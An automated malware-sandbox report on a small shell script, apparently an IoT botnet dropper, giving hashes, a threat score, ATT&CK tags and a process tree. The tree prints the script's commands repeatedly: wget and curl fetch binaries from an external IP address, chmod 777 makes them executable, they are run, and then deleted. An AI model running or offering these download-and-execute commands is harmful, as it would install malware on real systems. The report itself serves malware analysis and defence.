aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1

Analysis

max time kernel
32s
max time network
35s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
28/08/2026, 07:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
Size 1KB
Sample260828-hsvb6stxcw
SHA256 aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1
MD5 6f3ebc132443c3c37344af0bf3ce6d39
SHA1 ed5d9f2320e7eda0b07f72070a0b38f259c79792
SHA512 bef9b6203f26aca0078d0769dcf8152f9c83bf85a77d35f675cfeefe3524a252143d9da46e792e7370de155ba3a95006c426526f0a3dbc92c25a34387c991720
TLSH
T1C8315B9F44105E725102CE8E77A2B94C668EA1FB184FEBD4DC584DA982483CCF3A1F4D
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
889	chmod
896	chmod
739	chmod
748	chmod
785	chmod
806	chmod
828	chmod
844	chmod
755	chmod
764	chmod
835	chmod
867	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/a98c3b	740	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/3645df	749	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/d74fa4	756	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/e03e2f	765	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/68e3f4	786	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/15c756	808	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/b745a6	829	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/875e75	836	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/ca7854	846	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/39ae43	868	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/7e7bae	890	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/52d2f2	897	aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/68e3f4	curl
File opened for modification	/tmp/15c756	curl
File opened for modification	/tmp/875e75	curl
File opened for modification	/tmp/ca7854	curl
File opened for modification	/tmp/7e7bae	curl
File opened for modification	/tmp/d74fa4	curl
File opened for modification	/tmp/e03e2f	curl
File opened for modification	/tmp/b745a6	curl
File opened for modification	/tmp/39ae43	curl
File opened for modification	/tmp/52d2f2	curl
File opened for modification	/tmp/a98c3b	curl
File opened for modification	/tmp/3645df	curl

/tmp/aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
/tmp/aae87ba174e92ebfaa0a63585920085cfaf0c1777471749c0ea1bc8f704238f1.sh
1⤵
- Executes dropped EXE
PID:712
- /usr/bin/wget
  wget http://5.182.210.174/a98c3b
  2⤵
  PID:720
- /usr/bin/curl
  curl -O http://5.182.210.174/a98c3b
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod 777 a98c3b
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/a98c3b
  ./a98c3b bc
  2⤵
  PID:740
- /bin/rm
  rm -rf a98c3b
  2⤵
  PID:743
- /bin/rm
  rm -rf a98c3b.1
  2⤵
  PID:744
- /usr/bin/wget
  wget http://5.182.210.174/3645df
  2⤵
  PID:745
- /usr/bin/curl
  curl -O http://5.182.210.174/3645df
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 3645df
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/3645df
  ./3645df bc
  2⤵
  PID:749
- /bin/rm
  rm -rf 3645df
  2⤵
  PID:751
- /bin/rm
  rm -rf 3645df.1
  2⤵
  PID:752
- /usr/bin/wget
  wget http://5.182.210.174/d74fa4
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://5.182.210.174/d74fa4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod 777 d74fa4
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/d74fa4
  ./d74fa4 bc
  2⤵
  PID:756
- /bin/rm
  rm -rf d74fa4
  2⤵
  PID:758
- /bin/rm
  rm -rf d74fa4.1
  2⤵
  PID:759
- /usr/bin/wget
  wget http://5.182.210.174/e03e2f
  2⤵
  PID:760
- /usr/bin/curl
  curl -O http://5.182.210.174/e03e2f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod 777 e03e2f
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/e03e2f
  ./e03e2f bc
  2⤵
  PID:765
- /bin/rm
  rm -rf e03e2f
  2⤵
  PID:767
- /bin/rm
  rm -rf e03e2f.1
  2⤵
  PID:769
- /usr/bin/wget
  wget http://5.182.210.174/68e3f4
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://5.182.210.174/68e3f4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod 777 68e3f4
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/68e3f4
  ./68e3f4 bc
  2⤵
  PID:786
- /bin/rm
  rm -rf 68e3f4
  2⤵
  PID:788
- /bin/rm
  rm -rf 68e3f4.1
  2⤵
  PID:790
- /usr/bin/wget
  wget http://5.182.210.174/15c756
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://5.182.210.174/15c756
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 15c756
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/15c756
  ./15c756 bc
  2⤵
  PID:808
- /bin/rm
  rm -rf 15c756
  2⤵
  PID:811
- /bin/rm
  rm -rf 15c756.1
  2⤵
  PID:812
- /usr/bin/wget
  wget http://5.182.210.174/b745a6
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://5.182.210.174/b745a6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/chmod
  chmod 777 b745a6
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/b745a6
  ./b745a6 bc
  2⤵
  PID:829
- /bin/rm
  rm -rf b745a6
  2⤵
  PID:831
- /bin/rm
  rm -rf b745a6.1
  2⤵
  PID:832
- /usr/bin/wget
  wget http://5.182.210.174/875e75
  2⤵
  PID:833
- /usr/bin/curl
  curl -O http://5.182.210.174/875e75
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:834
- /bin/chmod
  chmod 777 875e75
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/875e75
  ./875e75 bc
  2⤵
  PID:836
- /bin/rm
  rm -rf 875e75
  2⤵
  PID:838
- /bin/rm
  rm -rf 875e75.1
  2⤵
  PID:839
- /usr/bin/wget
  wget http://5.182.210.174/ca7854
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://5.182.210.174/ca7854
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/chmod
  chmod 777 ca7854
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/ca7854
  ./ca7854 bc
  2⤵
  PID:846
- /bin/rm
  rm -rf ca7854
  2⤵
  PID:849
- /bin/rm
  rm -rf ca7854.1
  2⤵
  PID:850
- /usr/bin/wget
  wget http://5.182.210.174/39ae43
  2⤵
  PID:851
- /usr/bin/curl
  curl -O http://5.182.210.174/39ae43
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/chmod
  chmod 777 39ae43
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/39ae43
  ./39ae43 bc
  2⤵
  PID:868
- /bin/rm
  rm -rf 39ae43
  2⤵
  PID:871
- /bin/rm
  rm -rf 39ae43.1
  2⤵
  PID:873
- /usr/bin/wget
  wget http://5.182.210.174/7e7bae
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://5.182.210.174/7e7bae
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/chmod
  chmod 777 7e7bae
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/7e7bae
  ./7e7bae bc
  2⤵
  PID:890
- /bin/rm
  rm -rf 7e7bae
  2⤵
  PID:892
- /bin/rm
  rm -rf 7e7bae.1
  2⤵
  PID:893
- /usr/bin/wget
  wget http://5.182.210.174/52d2f2
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://5.182.210.174/52d2f2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/chmod
  chmod 777 52d2f2
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/52d2f2
  ./52d2f2 bc
  2⤵
  PID:897
- /bin/rm
  rm -rf 52d2f2
  2⤵
  PID:899
- /bin/rm
  rm -rf 52d2f2.1
  2⤵
  PID:900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

a98c3b

Path /tmp/a98c3b
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download